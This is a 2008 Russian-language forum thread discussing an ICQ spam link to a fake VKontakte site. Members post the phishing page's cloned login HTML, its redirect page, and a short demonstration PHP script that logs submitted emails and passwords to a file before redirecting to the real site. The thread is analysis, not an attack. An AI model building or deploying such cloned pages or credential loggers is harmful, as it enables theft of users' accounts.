Сообщение в аську на ложный сайт Vkontakte

**LEON®** · 21.12.2008, 17:42

Вот, пришло сегодня:

Сообщение (16:12:50 21/12/200

Ваша учётная запись: ICQ# 7323067
Отправитель: ICQ# 414393689
Запрос авторизации:
http://vkoontakte.tk/ Sro4no zaidite!!!

обратите внимание на ссылку и сравните с настоящей http://vkontakte.ru/
P.S. Кстати, кто-нибудь может подсказать куда можно обращаться для того чтобы забанить этот сайт, или что-нибудь зделать ещё...???

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Гриша** · 21.12.2008, 18:15

Примитивный фишинг...

**senyak** · 21.12.2008, 18:33

Если введя левый пароль и емаил и тебя перебрасывает на сайт Вконтакте, могут ли уйти пароли? Может он их где-то перехватывает...

**Jolly Rojer** · 22.12.2008, 07:41

Сообщение от senyak

Если введя левый пароль и емаил и тебя перебрасывает на сайт Вконтакте, могут ли уйти пароли? Может он их где-то перехватывает...

Да пароли с большой вероятностью уйдут не зависимо было перенаправление на официальный сайт или нет.

**senyak** · 22.12.2008, 08:20

Не, Вы меня не так поняли. Если не вводить настоящие данные, а ввести от фоноря и меня перекидывает на настоящий сайт. Может перехватываются куки или еще что-то?

**Jolly Rojer** · 22.12.2008, 08:23

Смысла перехвавтывать куки в принципе особого нет. Интересуют как правило только вводимые данные.

**NMF** · 22.12.2008, 09:15

А если нажимаешь "Регистрация" - Невозможно отобразить страницу

**ScratchyClaws** · 22.12.2008, 09:58

Код:

<html>
  <head>
    <title>vkoontakte.tk</title>
    <meta name="description" content="vkoontakte.tk">
    <meta name="keywords" content="универсальное,регистрация,пожаловать,вконтакте,контакте,добро">
  </head>
  <frameset rows="*,0" framespacing="0" border="0" frameborder="NO">
    <frame src="http://qwerty-feik.freehostia.com" name="dot_tk_frame_content" scrolling="auto" noresize>
  </frameset>
  <noframes>
    <body>
    </body>
  </noframes>

</html>

даже помеченно что это fake, хоть и с ошибкой

а это уже код самого фишерского сайта. очень многое берется с оригинального вконтакте (он у меня в офисе заблокирован, так что отображается непонятно что)

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte">
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>В Контакте | Добро пожаловать</title>
<link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?3" type="text/css" />
<link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' />
<link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />


<script src="http://vkontakte.ru/js/functions.js?5"></script>
<script src="http://vkontakte.ru/niftycube.js"></script>

<script type="text/javascript">
window.onload=function(){
Nifty("ul.tabs a","small top");
Nifty("ul.buttonRow a","small");
Nifty("div.leftAd","small transparent");
Nifty("div.selPad","small transparent");
Nifty("div.myPad","small transparent");
}
</script>
</head>

<body>
<div id="pageLayout">



<div id="pageHeader">

<h1 id="home"><a href="index.php">Студенты</a></h1>

<ul class="topNav" style='padding-right:5px'>
<li style="width:5.5em"><a href='faq.php'>помощь</a></li>
<li style="width:7.8em"><a href="javascript:document.location='reg0'">регистр ация</a></li>
<li style="width:4.0em"><a href='login.php'>вход</a></li>
</ul>

</div>





<div id="sideBar">

<div id="simplePage">
<form method="post" name="login" id="login" action="log.php" onSubmit="return CheckForm(this);">
<label for="email">Email:</label>
<input type="text" name="login" value="" class=w_100></td>

<label for="pass">Пароль:</label>
<input type="password" name="passwd" class=w_100></td>
<div style="height:20px;margin-top:5px;">
<ul class='nNav' style="width:128px;padding:0px;margin:0px;"><li style="margin:0px 3px 0px 0px;">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="javascript:document.login.submit()">Вход</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
<li style="margin:0px">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="javascript:document.location='reg0'">Регистр ация</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>

</li></ul>
</div>
<div id="expirePad" style="display:none"><input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /> <small>Чужой компьютер</small></div>
<input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;back ground:#fff;height:6px;width:6px"/>
</form>
</div>

<div style="width:124px">
</div>

</div>





<div id="pageBody" class="pageBody">

<div id="wrapH">
<div id="wrapHI">
<div id="header">
<h1> Добро пожаловать</h1>

</div>
</div>
</div>

<div id="wrap2">
<div id="wrap1">
<div id="content">

<script type="text/javascript">
var memCount = 21001027;
var memPerSec = 0.644543754475;
function updateCount() {
next = -(1000 / memPerSec)*Math.log(Math.random());
memCountString = '' + memCount;
len = memCountString.length;
memCountString = memCountString.substr(0,len-6)+" "+memCountString.substr(len-6,3)+" "+memCountString.substr(len-3,3);
ge('memCount').innerHTML = memCountString;
memCount = memCount + 1;
setTimeout(updateCount, next);
}
window.onload = function(){
updateCount();
}
</script>

<div class="simplePage">

<h2><b>ВКонтакте.ру - универсальное средство поиска знакомых.</b></h2>

<p>Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте.</p>

<p>Нас уже <b id='memCount'>21001027</b>.</p>
<p><a href='http://www.alexa.com/site/ds/top_sites?cc=RU&ts_mode=country&lang=none' target='_blank'><b>ВКонтакте - самый посещаемый сайт в России</b></a>.</p>

<p>С помощью этого сайта Вы можете:</p>
<ul class="listing">
<li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li>
<li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li>
<li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li>
</ul>

<a class='noUnd' href='help.php?page=demo'><div class='tour' onmouseover="this.style.backgroundColor='#FCFBF5'" onmouseout="this.style.backgroundColor='#F9F6E7'"> <b>Экскурсия по сайту</b><div>О том, что Вас ждет после регистрации</div></div></a>
<div style="height:20px; margin:10px 10px 10px 210px">
<ul class='nNav'><li>
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="javascript:document.login.submit()">Вход</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
<li>
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span class="ncc"><a href="javascript:document.location='reg0'">Регистр ация</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li></ul>

</div>

</div>

<div id="boxHolder"></div>

</div>
</div>
</div>

</div>





<div id="bFooter">
<ul class="bNav">
<li><a href="help.php?page=about">о сайте</a></li>
<li><a href="club2007">техподдержка</a></li>
<li><a href="blog.php">блог</a></li>
<li><a href="help.php?page=terms">правила</a></li>

</ul>
</div>
<div id="bFooter">
<p>В Контакте © 2006-2008 <br /><small><a href="id1">Павел Дуров</a></small></p>
</div>
</div>



<script type="text/javascript">
Rounded('rounded', 6, 6);
</script>
</body>
</html>

пытаюсь понять как оно работает

Добавлено через 31 минуту

с переадресацией всё понятно - человека перекидывает на log.php -

Код:

<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/mail.php'></head></html>

видимо при вводе какой-то скрипт записывает введенные данные.

**ScratchyClaws** · 22.12.2008, 22:03

сайт прикрыли.... а я так и не успела его скачать ;(

**senyak** · 22.12.2008, 22:16

А зачем он Вам?

**ScratchyClaws** · 22.12.2008, 23:56

хотела разобраться как оно пароли с логинами собирает. никак до скрипта докопаться не могла.

**priv8v** · 23.12.2008, 00:10

Эмм...
Странно все это...
На каком языке был написан скрипт логирующий пароли/логины?..

**ScratchyClaws** · 23.12.2008, 06:41

priv8v, java script, думаю. Только в теле странички ничего криминального не нашлось.. а остальные файлы с сервера скачать не удалось - пока подбирали программу, сайт закрылся/

**priv8v** · 23.12.2008, 21:54

если честно, то мне ни разу не встречались фишерские сайты, которые бы делали логирование паролей с помощью ява-скрипта.

**ScratchyClaws** · 24.12.2008, 06:38

Сообщение от priv8v

если честно, то мне ни разу не встречались фишерские сайты, которые бы делали логирование паролей с помощью ява-скрипта.

а как они это делали?

есть страничка, код которой приведен выше. далее открывается пустая страничка, функции которой только в перебрасывании на контакт. про скрипт это всего лишь предположение (я же не могу сказать точно на каком языке скрипт который я так и не нашла?)

**priv8v** · 24.12.2008, 21:33

То, что выше, как я понял - это лишь страница с формой, которую нужно заполнить...
В теории у нее есть приемщик, которому методом GET или POST передаются данные введенные в форму - скрипт (пхп) уже сможет с этими данными делать что угодно - обрабатывать их, проверять на валидность, на то, ввели что-то или нет, логировать пароль/логин, перебрасывать куда-то и т.д
Пхп - выполняется на сервере, и исходный код скрипта можно увидеть лишь получив фтп доступ или доступ к файлам, как к файлам, а не как к скриптам, которые выполняются (зайти на сайт через админку, взломать сайт и залить свою админку - шелл и т.д).
Вот для демонстрации накинул пару строк:

Код:

<?php
error_reporting(0);
$email=$_POST['email'];
$pass=$_POST['pass'];
$lоg = "'log'";
$file = fopen($log, "a+");
$str = " Мыло: $email'   Пароль:  $pass   \r\n";
fputs ($file, $str);
fclose($file);
header("Location': http://vkontakte.ru'");
?>

Скрипт этот делает следующее:
принимает пост-запрос (в кол-ве двух штук

) , пишет полученные данные в файл и перекидывает на сайт вконтакте. Никакой проверки на введенные данные нет, ничего нет.

Прошу не считать этот скрипт вредоносным - ничего плохого он не делает и никто во зло его использовать не сможет вообще его хотя бы заставить работать, то именно ради прикола - т.к если сможет его заюзать, то значит и сам он прекрасно сможет такой написать.

**ScratchyClaws** · 25.12.2008, 09:30

вот ради всех этих скриптов я и пыталась скачать весь сайт... но из всего выкачанного никакого криминала не нашлось ;(

**Rainmib** · 25.12.2008, 14:36

Вот даже интересно какого лешему нужны чужие пароли от контакта??

**Гриша** · 25.12.2008, 14:40

Вот даже интересно какого лешему нужны чужие пароли от контакта??

Нужны, на некоторых кулхацкерских ресурсах взлом аккаунта "Вконтакте" доходит до 7.500-8.000 р+для рассылки спама...

**valho** · 27.03.2009, 19:22

а меня спалили прислали письмо на мэил.ру

Леонид Шарипов wrote something on your wall.

Best regards,
VKontakte.ru Administration

Я там не зареган, по мылу узнали, оно у мну уже лет 12 и всем известна

Хочу передать большой привет, в отличии от вас я не скрываюсь...
что гемморой открылся?
Хотя чёт не помню, мож та регился когда то
Короче нашёл, оказывается регился когда то в детстве

Сообщение в аську на ложный сайт Vkontakte

Опции темы

Сообщение в аську на ложный сайт Vkontakte

Похожие темы

Не открывается сайт vkontakte.ru

Заблокирован сайт vkontakte.ru

Не заходит на сайт vkontakte.ru

Не заходит на сайт vkontakte.ru/vk.com

Сайт VKontakte и Firefox

Ваши права в разделе